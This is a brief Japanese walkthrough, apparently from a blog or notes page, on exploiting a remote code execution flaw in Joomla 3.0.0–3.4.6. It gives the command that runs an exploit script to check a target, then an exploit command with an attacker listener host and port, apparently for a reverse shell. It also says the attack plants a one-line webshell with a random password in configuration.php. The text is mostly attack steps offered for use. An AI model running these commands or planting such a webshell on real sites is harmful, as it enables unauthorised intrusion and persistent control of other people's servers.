
影響範囲:3.0.0-3.4.6
影響範囲:3.0.0-3.4.6 1、脆弱性の検証
python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4
「Vulnerable」と表示されれば、脆弱性が存在することが証明されます
python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121
実行に成功
そして「configuration.php」にランダムなパスワードを持つ一言木馬を書き込みます